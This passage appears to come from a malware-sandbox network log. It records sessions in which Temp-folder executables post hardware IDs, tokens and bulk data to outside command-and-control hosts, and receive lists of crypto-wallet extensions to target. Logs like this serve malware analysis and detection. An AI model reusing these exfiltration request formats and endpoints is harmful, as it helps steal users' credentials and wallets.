d8 b5 9a 0e 88 da 55 c2 c0 5f ee 51 6e ff df f7 f3 78 5d 39 41 b1 f1 03 fb 10 e0 26 dd be 93 7b 12 e8 90 Data Ascii: 2_8!*-jQ[_o^q7[IVIT{9$%7GAW1>tO;6}cw<-7Od6`g6}wvb&@szl_RwBU-(b\;L ]pvxZE@!HU_Qnx]9A&{
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: be b6 72 7b 39 06 9f 12 a1 50 ce 17 ae 7e c2 97 2e 96 fb 28 70 b8 20 02 0a 57 f2 fd 18 b7 3d 33 08 48 b5 da 2c a2 fe 3e e7 7f 3b 07 5e a0 40 5f e4 ff b3 85 12 cd f9 42 60 48 6d 07 7e 7a 7b f2 ad 81 74 78 68 26 3f d0 be cf 2d 11 fb d7 99 be 40 e7 4e e6 78 1e 8a a2 65 68 67 d3 9e 01 3c 18 50 a3 37 b8 61 ec a4 f9 ef b2 28 95 fe 56 52 fa 53 13 63 41 be 95 e7 7e db 21 09 88 20 11 1e 7a 80 90 2d 52 1b 26 d1 fb 55 a8 b6 fc 6c 82 f9 19 0c 8c 2c 21 e9 9c 80 5d 82 f3 cc 9a c9 45 25 70 ae 2d 3a b3 1c f9 d6 19 58 75 f9 ac a6 f3 92 81 c0 c3 06 27 65 7f 84 f3 23 a7 6d 80 40 c5 e7 b9 8a d4 46 ea 36 2b 8d 3e 78 4a f5 30 a2 95 a0 c5 d9 a2 02 da 70 68 b2 b3 10 8a 13 1d 92 06 e7 34 cc 6f dc b8 4e dd 91 7e b5 32 60 7a 55 d0 35 ff cc e7 1e c8 07 f0 e9 28 6b 6e 4a 20 b5 55 16 Data Ascii: r{9P~.(p W=3H,>;^@_B`Hm~z{txh&?-@Nxehg<P7a(VRScA~! z-R&Ul,!]E%p-:Xu'e#m@F6+>xJ0ph4oN~2`zU5(knJ U
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: 9b 8a c9 48 7f 06 b5 19 67 0b d7 07 aa d5 de 4d 17 08 29 09 ad f6 dd de ab 5c d0 10 e8 1b c5 2b 9b 63 57 c5 a4 3f 1a 4a bf b4 c7 b1 dc 32 e7 71 c0 8f 1f a8 2c b1 a4 6e 4d 22 e8 7f e6 ba f6 91 a6 25 76 7e dc b9 d3 52 55 71 78 9a d4 2c 1c f1 6f 27 c1 e7 a8 cb 6a 62 3f 9d 87 df c8 50 bd 7f 89 3d d2 7d 7b 6a 33 ef 36 ec 82 3f 4d 0f b1 47 10 a8 22 02 78 4a a5 57 2c e1 82 d6 19 01 93 28 f0 bf 8f dc c3 b5 b5 76 08 07 2c 84 81 74 18 a4 3d 96 8c e6 46 81 fc c3 20 81 99 e0 bf 16 b2 81 ca ba 20 4b d1 47 41 56 7f c5 e5 42 84 ba 2b b8 b9 5f 8f 05 7f 07 e4 e1 2d c9 57 3f 6a 54 11 b5 8f 76 11 2e 78 60 ce 4a ca db 49 29 3a 06 47 f0 08 eb 75 51 f3 a6 f5 46 ad b0 aa 97 67 71 82 18 5f e2 5c 01 2a 89 6e a9 44 b7 ca ae 0c cf 25 5e 42 b0 2f 46 d2 15 07 42 93 84 b3 0f 30 ac 54 Data Ascii: HgM)\+cW?J2q,nM"%v~RUqx,o'jb?P=}{j36?MG"xJW,(v,t=F KGAVB+_-W?jTv.x`JI):GuQFgq_\*nD%^B/FB0T
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: 89 30 36 33 ea 28 c0 59 75 b4 32 6c 8e 56 ae 46 26 1e 21 d3 6a bf d9 9e 92 c3 9e ee be 74 fc 69 68 21 d6 44 86 2a c6 77 be ac a0 d5 60 67 33 50 0d 86 b3 45 b1 f1 c9 27 0b 1a 43 6d 39 b0 e8 e4 07 5d 62 cd cc 8d fa c4 ce 39 f3 cf f2 50 4a bd 2e 8c 78 69 d9 f8 84 15 a4 2a cb aa 27 a3 82 6b e4 5e ef 97 50 8a d5 f8 47 20 5b e1 15 2d 19 72 91 0b af ba 74 72 6a 28 54 04 f3 36 38 71 85 cb 7a 44 7a de 91 ed cd c5 2e 4e 6d 29 d1 90 8b 91 3e 3f 2a d8 53 f4 22 f4 9e 40 0d c4 5c a8 af e2 ed 51 4c 16 0d 3f c9 cd 9c 35 be 42 ce 21 35 20 8c dd 45 4a 1f 8f d2 f3 68 a0 d7 4a 22 7d 98 5f 7b a9 77 5f 1e 3e 7e 65 cb be 93 e9 50 7b eb c5 66 d3 55 e1 32 b0 24 c5 07 96 ce 32 f0 8f c4 0e 49 74 b8 aa 8a 76 8c e1 4f 38 2f 56 e3 02 a7 9a a4 a8 8f 10 e3 41 d2 f3 b5 0b a3 f7 31 c0 eb Data Ascii: 063(Yu2lVF&!jtih!Dw`g3PE'Cm9]b9PJ.xi'k^PG [-rtrj(T68qzDz.Nm)>?*S"@\QL?5B!5 EJhJ"}_{w_>~eP{fU2$2ItvO8/VA1
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: af 72 4a ff 96 eb b5 da ee af d9 f1 c4 38 9e 99 95 68 21 9a 72 5a f3 bf 7e 39 2b b0 bd 67 27 60 94 4d a0 cb cb 52 02 8f 5c 41 18 d6 13 53 17 92 e2 36 f3 57 2c 61 ef af 7e 6d 35 41 6f 94 49 13 c6 1e 3c 96 22 55 ab 50 98 d0 4a f4 e5 0a f3 4d 6b 9a 62 08 04 59 68 a7 fb 61 de ae d5 5b 95 6a 72 54 54 a4 e9 79 4c 86 81 39 86 9c 03 f5 56 b0 54 c0 05 b2 e4 8b 05 73 73 85 2b e9 3a 28 b1 e5 3f 06 ee e0 12 04 10 b3 10 47 18 5c 8d 13 a2 fd 2d 80 3c 27 1e 91 65 15 92 60 4a 40 45 a8 08 7a 1d ae 3b 36 7f 0a 7e c5 94 76 72 cc 81 19 a9 ef 72 13 4a 53 45 8b b8 42 fc 58 a8 59 40 49 5f 8f 19 f5 cf a4 15 36 c7 9b ed 76 21 19 7f ee 8a 02 f3 96 5d 61 65 cc d1 47 c5 a8 a8 44 b5 fb eb 06 93 e1 32 10 f9 00 9c 21 09 f4 34 04 29 af 6b 98 1b fb c4 17 ba 2a 48 68 fb ea 69 d5 a3 38 7c Data Ascii: rJ8h!rZ~9+g'`MR\AS6W,a~m5AoI<"UPJMkbYha[jrTTyL9VTss+:(?G\-<'e`J@Ez;6~vrrJSEBXY@I_6v!]aeGD2!4)k*Hhi8\|
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: c5 84 25 6c c4 c1 67 24 1e 33 52 1b 93 28 52 f1 0b 6b dd 43 14 3b 43 60 d9 d7 da 42 6d 34 ee 10 6a d6 51 ca 51 27 3c df 71 81 77 f1 af 44 03 24 c4 03 1c 89 df 2a c2 db 09 df 2b e3 e9 c1 ca 8d 46 31 46 66 26 d5 16 f3 63 67 1e b9 45 cf d7 61 a1 5f 66 cb 25 e3 9a 1b 7c 37 a8 9d 8c 45 c8 6e bd fa 20 95 99 72 d3 15 18 63 bd d4 a0 47 c5 1e 5d 90 a1 bc 24 e2 2e 44 49 66 ad de 5b a5 8e 10 85 53 cc 9c 96 9c c6 9b 54 40 1b 8b d0 f3 ae ad 90 61 80 0e ce dc 62 19 4a 54 66 d4 4d 2a 6b 6d a4 e6 88 12 6e 46 38 08 23 5a 95 9c 13 e2 c2 ca 4b 7a 5b 60 1f 54 3a eb 95 6a 57 07 a7 54 cc 2d aa c8 f5 56 7e 61 a3 91 99 01 d0 af 5a ed 9a b3 72 c0 68 62 9f fe 5c ef 3f 0d e3 78 0b 8a 06 88 00 5f 3a 89 e9 fa 68 bf f9 fd a8 af 0a f9 81 20 f8 e8 30 3d 2e 22 b2 c7 65 0b ee 92 61 71 b2 Data Ascii: %lg$3R(RkC;C`Bm4jQQ'<qwD$+F1Ff&cgEa_f%\|7En rcG]$.DIf[ST@abJTfMkmnF8#ZKz[`T:jWT-V~aZrhb\?x_:h 0=."eaq
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: 8f 32 a7 c7 1b a2 05 98 da fd 47 df d6 74 85 61 be d5 57 b0 76 b9 ae 14 6b f9 09 54 aa 54 5f 3c 04 47 1b 72 d2 bd d9 bd 8e 75 a8 27 d2 d0 dc 21 fe b7 e2 cf a1 30 cd 0f d1 f9 7f 19 ce 6f 9e 68 df 7f 1c 68 0a f2 32 0d d4 f1 2a 9e 73 11 47 e5 d4 81 5a 54 0b a3 6a 1f c3 a2 35 3b 78 f3 e9 dc b4 62 5d 6f 7a cc 87 c0 fb f5 4a 2f d5 87 6e 7f 95 f6 d9 cb 60 ec 0c 65 d6 24 af 45 44 bd 5c 90 c3 a0 7b 9b 7f 52 e7 85 85 29 9a e5 d8 ad 39 1e 74 d7 cd df 76 7f d9 e5 4d bc 70 e2 1e b3 fa ba 77 6b d6 00 bd fe 66 cc 9f 5e 44 b9 f1 f0 ab fd 3d da a8 5d f2 20 45 8a e3 a3 0b 16 ee dc 7d 91 7d ef 65 48 cb 7b f1 32 01 b8 66 2f 12 5e f9 72 fd 85 7e be ae 78 19 32 ce 47 b9 ce a7 5b fd cf 98 d9 97 c7 2e 80 90 29 d0 6c c4 e0 fa 49 6d a5 f3 43 e8 ab 9f e0 d9 ea 16 6c b9 2a 74 11 cd Data Ascii: 2GtaWvkTT_<Gru'!0ohh2sGZTj5;xb]ozJ/n`e$ED\{R)9tvMpwkf^D=] E}}eH{2f/^r~x2G[.)lImClt
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: 3e a7 a5 94 f9 3b 5b d9 55 9f 3c df 10 a1 ae b3 f8 aa 61 16 3a 7b fa 38 d6 f4 91 71 f9 89 6a f1 9b 53 05 a1 d5 27 3d 8a 8b d5 e6 0c 2f 1c 63 1c 37 6b fd 9c e1 ff 58 a7 22 7f bf 4c 12 bc f0 fe 67 ae 86 58 e5 25 5b 3c d2 e3 a7 36 6a c9 7e 2c 15 49 f8 c0 11 f3 02 f1 bb e5 ae 05 fc 90 7d 64 69 3e 36 fa ae 6b 50 11 71 22 8e b6 72 e3 d4 95 95 ca 40 2c c3 5a c9 69 93 f3 96 73 e6 07 62 97 bc 46 78 5e be d0 60 41 82 87 d7 44 7d 56 bd ea 15 6f 8d 78 ba 4a 59 42 34 7e f7 43 d6 cf fc af a1 0f 37 0a 26 ea 4e bf 18 48 1d 91 b9 79 ff e1 fc 36 45 23 39 3b f4 94 dd c1 e6 b7 6a 88 02 d6 fb 6d 0d b3 1e 9c da bb 27 37 3f f4 bc c8 5a 7c 91 fe 70 69 60 ee e2 d3 a9 5f 45 61 5f ad bd 5e 0d b0 ec c3 57 a2 e6 ef e4 af 87 0e 0f 84 ba a4 34 96 dd 19 f6 cb 7e 1e b5 b1 a3 c8 e0 a1 75 Data Ascii: >;[U<a:{8qjS'=/c7kX"LgX%[<6j~,I}di>6kPq"r@,ZisbFx^`AD}VoxJYB4~C7&NHy6E#9;jm'7?Z\|pi`_Ea_^W4~u
2024-12-13 00:52:00 UTC	1033	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:52:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7pbh8bgorpd6nkbo6lr4jcitmq; expires=Mon, 07-Apr-2025 18:38:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sY8RBIAY9tN903lH7OTXUmPWseL0fKyiJfcAuT%2BYl3Hh%2Bg%2BQ2KB5G5SRUhfT%2Bk6sJnTlcQBXQROv1uRXhAsqmRg2nRkb0AvyB3Ap%2B%2F57Ae1UImKg7NBJGsW%2FzRv60wLmkHQrvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7fddb67428b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1597&rtt_var=608&sent=329&recv=610&lost=0&retrans=0&sent_bytes=2842&recv_bytes=589150&delivery_rate=1787025&cwnd=240&unsent_bytes=0&cid=4b2cc0d392c0055a&ts=2968&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49905	116.203.10.31	443	5236	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:59 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----9HVSRQ90HDJM7QIW4OHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-13 00:51:59 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 48 56 53 52 51 39 30 48 44 4a 4d 37 51 49 57 34 4f 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 63 36 30 36 32 38 33 63 39 61 63 66 33 35 30 64 64 62 35 65 31 32 63 63 62 33 34 63 30 63 0d 0a 2d 2d 2d 2d 2d 2d 39 48 56 53 52 51 39 30 48 44 4a 4d 37 51 49 57 34 4f 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 39 48 56 53 52 51 39 30 48 44 4a 4d 37 51 49 57 34 4f 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------9HVSRQ90HDJM7QIW4OHDContent-Disposition: form-data; name="token"fbc606283c9acf350ddb5e12ccb34c0c------9HVSRQ90HDJM7QIW4OHDContent-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------9HVSRQ90HDJM7QIW4OHDCont
2024-12-13 00:52:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 00:52:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-13 00:52:00 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49915	172.67.213.48	443	7216	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:52:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 85 Host: fightlsoser.click
2024-12-13 00:52:01 UTC	85	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 4d 42 73 54 77 2d 2d 49 6e 73 74 61 6c 6c 73 26 6a 3d 26 68 77 69 64 3d 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=cMBsTw--Installs&j=&hwid=4541E19FBBB2CF6723D904AF30EFEBBC
2024-12-13 00:52:04 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:52:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kg41572ht80techbnj4enbjjva; expires=Mon, 07-Apr-2025 18:38:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aA2Kf3u75OIEwIFraOzJEFO%2FTmKoZ44Z855JP449P1DvEKnJBoxRKsmiuUQTA5g8O2fyInbrm0qOVgTYnetM4aMwgDVt0lvy%2BvharCK7y5nAWRTeZOlzyuNJTfGPnWxOhwg7zQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f81a2d3842a7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1574&rtt_var=608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=986&delivery_rate=1773997&cwnd=199&unsent_bytes=0&cid=be8879f49382054e&ts=2886&x=0"
2024-12-13 00:52:04 UTC	54	IN	Data Raw: 33 30 0d 0a 43 41 49 4f 63 76 6a 55 53 43 44 43 73 45 74 4a 59 4f 2f 4e 74 62 55 53 4a 6a 75 74 42 51 61 2b 53 56 6d 6d 6a 75 6f 64 55 52 5a 54 58 77 3d 3d 0d 0a Data Ascii: 30CAIOcvjUSCDCsEtJYO/NtbUSJjutBQa+SVmmjuodURZTXw==
2024-12-13 00:52:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49914	116.203.10.31	443	5236	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:52:02 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Q9R1NG4OZU37YM7GV37Y User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-13 00:52:02 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 63 36 30 36 32 38 33 63 39 61 63 66 33 35 30 64 64 62 35 65 31 32 63 63 62 33 34 63 30 63 0d 0a 2d 2d 2d 2d 2d 2d 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 59 0d 0a 43 6f 6e 74 Data Ascii: ------Q9R1NG4OZU37YM7GV37YContent-Disposition: form-data; name="token"fbc606283c9acf350ddb5e12ccb34c0c------Q9R1NG4OZU37YM7GV37YContent-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------Q9R1NG4OZU37YM7GV37YCont
2024-12-13 00:52:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 00:52:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-13 00:52:03 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49919	104.21.79.7	443	5700	C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:52:02 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=33UIP4RSJQZUYTSR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20424 Host: drive-connect.cyou
2024-12-13 00:52:02 UTC	15331	OUT	Data Raw: 2d 2d 33 33 55 49 50 34 52 53 4a 51 5a 55 59 54 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 33 33 55 49 50 34 52 53 4a 51 5a 55 59 54 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 33 55 49 50 34 52 53 4a 51 5a 55 59 54 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 33 33 55 Data Ascii: --33UIP4RSJQZUYTSRContent-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--33UIP4RSJQZUYTSRContent-Disposition: form-data; name="pid"3--33UIP4RSJQZUYTSRContent-Disposition: form-data; name="lid"FATE99--test--33U
2024-12-13 00:52:02 UTC	5093	OUT	Data Raw: 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-13 00:52:05 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9sp4nb8jssimt9j2600jcnpo6f; expires=Mon, 07-Apr-2025 18:38:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5HUAbc7k57iis%2B2L3XcxagzLPmJGinDdO%2FqmSZ5x6N8iZLvJIJL1sLswZENUCfmXb%2FMKwBPY%2FBJOFUeKT0TyCIyy0SjcVB9LNeSK1Cnx1JbJaXNv0rmdsAeBcByHYpYUJiw0KLQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f81b38a443da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1614&rtt_var=631&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21386&delivery_rate=1700640&cwnd=203&unsent_bytes=0&cid=a0cfe138adb16d61&ts=3360&x=0"
2024-12-13 00:52:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-13 00:52:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49931	116.203.10.31	443	5236	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:52:04 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IE3E3OPZUA1N7YU3OPH4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 6185 Connection: Keep-Alive Cache-Control: no-cache
2024-12-13 00:52:04 UTC	6185	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 33 45 33 4f 50 5a 55 41 31 4e 37 59 55 33 4f 50 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 63 36 30 36 32 38 33 63 39 61 63 66 33 35 30 64 64 62 35 65 31 32 63 63 62 33 34 63 30 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 33 45 33 4f 50 5a 55 41 31 4e 37 59 55 33 4f 50 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 33 45 33 4f 50 5a 55 41 31 4e 37 59 55 33 4f 50 48 34 0d 0a 43 6f 6e 74 Data Ascii: ------IE3E3OPZUA1N7YU3OPH4Content-Disposition: form-data; name="token"fbc606283c9acf350ddb5e12ccb34c0c------IE3E3OPZUA1N7YU3OPH4Content-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------IE3E3OPZUA1N7YU3OPH4Cont
